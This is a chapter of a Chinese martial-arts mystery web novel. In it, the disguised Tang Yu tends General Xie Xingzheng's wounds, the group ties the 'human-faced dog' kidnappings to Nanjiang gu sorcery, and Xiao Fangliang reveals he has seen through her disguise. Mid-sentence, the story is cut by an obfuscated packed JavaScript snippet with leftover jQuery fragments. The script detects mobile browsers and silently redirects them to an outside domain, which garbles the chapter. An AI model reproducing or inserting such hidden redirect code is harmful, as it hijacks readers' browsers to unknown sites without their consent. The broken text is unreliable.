15. 人面犬 七
作品:《江湖何曾骗真心》 山洞塌得不成样子,暗道通往何处也不可知,自然没有再去追逃走之人的必要。
何况谢行征身负重伤,众人便先带着孩童回到驿馆暂歇。
唐雨本想先替他看伤,却被拒绝,要她先为孩子们诊治。
仔细查过,孩子只是因吸入迷烟而沉睡,身上有些许旧瘀痕,却并未因山洞坍塌受伤。想来要睡到次日才会醒,也算省了不少事。
孩子们能安然无恙,多亏这些粗中有细的谢家军,他们身上反而带着或轻或重的伤。
唐雨担起医者本分,先替屋外将士上药包扎,最后才能轮到里屋歇息的谢行征。
此时屋内只有谢行征与副将。
他伤得不轻,左肩肿胀乌青,被石头砸蹭出一道血口,渗出的血将夜行衣染透了一大片,由副将帮着,撕下黏在伤口上的布料。
“撤退时,没有人受重伤吧?”谢行征神色冷厉,毫不在意伤口的扯动,也似全然不觉痛。
许连摇头,“兄弟们没事,只是些擦伤,少将军您伤得最重,就先别担心我们了。”
谢行征却难得露出几分疑色,转头问:“你说……只有擦伤?”
许连不解少将军为何追问,只简单答:“对。”
谢行征抬手止住他的动作,接过纱布,“我自己来,你去外面看看。”
许连知他一向不愿麻烦旁人,叹了口气,没有强求,将东西留下便推门出去。
不料,正撞见门口抬手欲敲的唐雨。
“苏大夫……”许连愣住,立马回头去看谢行征,不知该不该拦人。
唐雨顺着往里望去,见谢行征正自己侧头包扎,手法娴熟。
即使脸颊尚带残灰,发鬓有些许散乱,可背脊依旧直挺,流畅的肌肉线条,显得他肩宽腰窄,看上去身形极佳。
唐雨没给他拒绝的机会,语带调侃:“谢将军,大夫都来了,就不必亲自动手吧。”
说着毫不客气地挤开许连,摆好药材。可谢行征竟也手上不停,好似想赶在她动手前包扎好。
“怎能不听医嘱?”唐雨不满皱眉。
谢行征闻言,沉默片刻,终是放下手,端坐床沿。
许连见状,赶忙关门退了出去,生怕晚一步,少将军就把大夫赶走了。
唐雨走到他身边,抬眼打量,“您将衣服脱了,我看看还有没有别的伤。”
谢行征怔了一瞬,那本冷寂无波的神色间,竟恍惚让唐雨看出几分挣扎。可最后,他还是听话解下受伤那侧的外袍。
看在他救了自己的份上,唐雨也是拿出了唐门秘制的伤药。虽说他们善毒,可医毒同源,这伤药在江湖上也是一药难求。
她上前,毫不客气伸手扯下另一侧的外袍。
谢行征被她这番动作吓到,忙低声道:“我自己来。”
脱好后,他的上半身就这么暴露在唐雨眼前。莫说她是女扮男装,便是姑娘打扮,作为医者,她也不觉得不妥。
可谢行征身上的伤,却叫她怔住了。
除却今夜受伤的左肩,他的肩背胸侧,纵横交错着细密的旧伤。虽早已愈合,却依旧留下了骇人痕迹,像是将过往的疼痛一并封存在这具皮肉之下。
若非伤深入血肉骨皮,显然不会留下这无法退去的疤痕。
唐雨的目光忍不住停留。
那张剑眉星目的俊脸上,还留着几分未褪的少年气,分明不比她年长多少。
“骨头裂了,这么重的伤,谢将军竟还能不吭一声,真是条汉子。”唐雨收回目光,一边感叹,一边顺手拆开他包到一半的纱布。
不得不说,他显然惯做此事,包得利落齐整。
“不知战场之上,竟都如此凶险吗?”
她问得漫不经心,却是为了分散他的注意,将药粉洒到伤处……顺便盘算下,要不要借机报复,包扎时多使点力。
可谢行征却动也不动,神情平静得像感受不到痛般,语气淡淡:“军中事瞬息万变,将帅当先而行,有伤自是寻常。”
唐雨垂眼,倒觉出他的几分担当,又想到他舍身救下孩子,才收了那点坏心思。
她小心替他包扎时,谢行征忽地开口:“听副将说,屋外将士只有些擦伤?”
“是啊,只属谢将军伤得最重了。”唐雨调侃。
“可这不奇怪么?”他眸光一敛,“初入洞时机关处处,小心翼翼也难避开。可撤退间慌乱,却无一人误触机关受伤。”
唐雨手一顿,随即笑了笑,随口答:“大概向内探查时,便已将那些暗器机关都清除了吧。”
谢行征侧过脸,在她看不见的眼底,浮出一抹淡不可察的笑意,“那还真是……幸运。”
唐雨神色如常,继续收尾,最后取过外袍替他披好,将药物收进匣中。
“将军这几日小心伤口,莫沾水,也莫食荤腥。”
谢行征看着她收东西的手,白皙修长,忽然开口问:“苏大夫是哪里人?”
她手上动作未停,心底却隐隐警觉,抬眸笑道:“蜀中。”
“是个好地方。”他点点头,不再追问,只是眼神柔和几分,眉峰也松了下来,真诚道:“谢谢。”
那一瞬,唐雨又撞上那黑曜石般澄澈的双眸,心虚再次窜了上来,不敢多留,便匆匆退了出去。
山洞撤退时未遇机关,自然是她刻意落在队尾时暗中解除的。
只是她没想到,在夜色与混乱中,他竟也能察此端倪。
此人果然敏锐得可怕。
她暗暗懊恼,怎么就一时心软,错过一个报复的大好机会!
*
次日,谢家军费了好大力气,才从坍塌的山洞中掘出两具尚算完整的尸体。
揭下鬼绘面具,露出那高鼻隆颧、轮廓深邃的脸,正是南疆人的相貌。
这无声地印证了唐雨最初的推断:这些孩童中了蛊,才会无意识走出家门遭拐,最后变成山林间游荡的“人面犬”。
三人又将一路所遇告诉谢行征,从鬼哭村,到夏南血井,再到曲州乞儿,加上这次一同捕获的“人面犬”。
他自零散的线索中,敏锐地捕捉到了某种隐秘的关联。像有一根无形的线,将所有事与南疆缝合在一起。
他目光微沉,缓缓开口:“在夏南时,所谓血井也是蛊虫作祟?”
“不止。”萧方椋神色沉重,“送镖路上,那毒杀马匹、阻我们入夏南的,不仅是南疆人,身上还种了蛊。”
他顿了顿,又看向唐雨,笑意浅浅,“还多亏雨堂兄,不然连那两个活口都保不下来。”
谢行征顺着他的视线看了唐雨一眼,陷入短暂沉思,随即开口:“十五年前,大夏与南疆交战,吞并南疆数国。譬如南诏,便是如今夏南郡,在我朝庇护下,也算安稳富足。”
他顿了顿,语气微冷,“可多数南疆小国,本就是苦寒之地,当年依附南月而活。南月被灭后,也不愿归顺,元气大伤下,民生困苦。表面与我朝交好,换得苟延
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147165|180495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
残喘。可数十年光景过去,南疆元气渐复,如今种种动向……或许早暗生觊觎我朝的异心。”
萧方椋神色也凝重几分,“当初的南月,便是以巫蛊闻名。战败后,传闻不少善蛊巫师逃入大夏潜伏。这些年圣上虽多次派兵清剿,却始终难以尽除。”
他顿了顿,眉头微蹙,“所以……你怀疑,这或许是南疆,暗中筹谋、复国雪耻的一盘大棋?”
“此时还不能断言。”谢行征缓缓摇头,神色凝重,“几日后,南疆使团便将入京,此次带着所谓的‘圣物’上贡。只怕此行不如表面那般简单,进京……所图未必单纯。”
屋中一时寂然,氛围沉重。可此事毕竟无凭无据,如今也只能心存戒备,静观其变。
这人面犬一案,虽揭破诡计谣言,却无活口可供审讯。
只能先由谢家军,将孩童们送回原籍。而谢行征还需追查,这背后是否有官府的勾结?南疆歹人逃去何处?余下的孩童又被拐到哪里?
此案看似明了,却更像被笼罩在更大的迷雾中。
不远处,望山岳还在与谢行征絮絮叨叨,那一路上的险象环生。
萧方椋却默默走到唐雨身边,摊开手心,正是她布置抓捕“人面犬”时所用的蛛丝。
“这蛛丝不便宜吧?那只小蜘蛛,还活着吗?”
“蜘蛛比人更能感知危险,自然无妨。”唐雨接过蛛丝收好,唇角带笑,“萧兄这次怎么不收藏起来?”
萧方椋挑眉轻笑,“原先是对唐姑娘,有几分好奇和怀疑。才会想着带回去,好让谢小将军看看,是不是他口中所言,要我们小心的那位姑娘。”
闻言,唐雨心头一紧,却也有些意外:“你怎么知道我是姑娘?”
自发现他藏起袖里梭时,她便知自己唐门身份大概瞒不下去。只是没想到,一个毫无武功的人,竟能看穿自己伪装之下,是个女人。
难道,她的伪装已差劲到这种地步?
“你的伪装其实很好,外貌、声音,甚至动作神态,都与寻常游医无异。”萧方椋不紧不慢地说:“可有一处,我初时注意,便存了疑。”
“何处?”唐雨忍不住追问。
“穿耳痕迹。”萧方椋抬扇指了指她耳侧,慢条斯理地解释:“大夏男子虽也会穿耳,但是为辟邪,自小便会一直佩戴,不轻易摘下。女子不同,多是为了佩戴耳珰。而且……”
他目光一敛,“苏雨堂这张脸,明明算得上俊秀。可某日我忽然发现,竟记不住你的模样。那时便知,这容貌,定是你刻意伪装过的。”
唐雨目光赞赏。
萧方椋轻笑,接着说:“再加上阿岳说,那袖里梭乃唐门之物。便能想通,鬼哭村时,你为何能察觉酒中有蛊,店家下过迷香。自然不难猜,‘苏雨堂’这个名字倒过来,想来便是你的真名。”
“算是吧。”唐雨倒也痛快,唇角一勾,“重新介绍一下,我叫唐雨,苏是我父亲的姓。”
萧方椋微微颔首,压低声音:“放心,我不会告诉他们。”
“为什么?”唐雨不解。
“虽不知唐姑娘目的,但愿舍身去救无辜稚童之人……想来也坏不到哪去。”
他笑了笑,笑容看似人畜无害,却带着几分古怪,“更何况,有些事一旦戳穿,就很无趣了。”
语毕,他眼神落向不远处的谢行征,眼底隐隐闪过一抹期待的光。
唐雨:“……”
她怎么觉得背后有些发凉?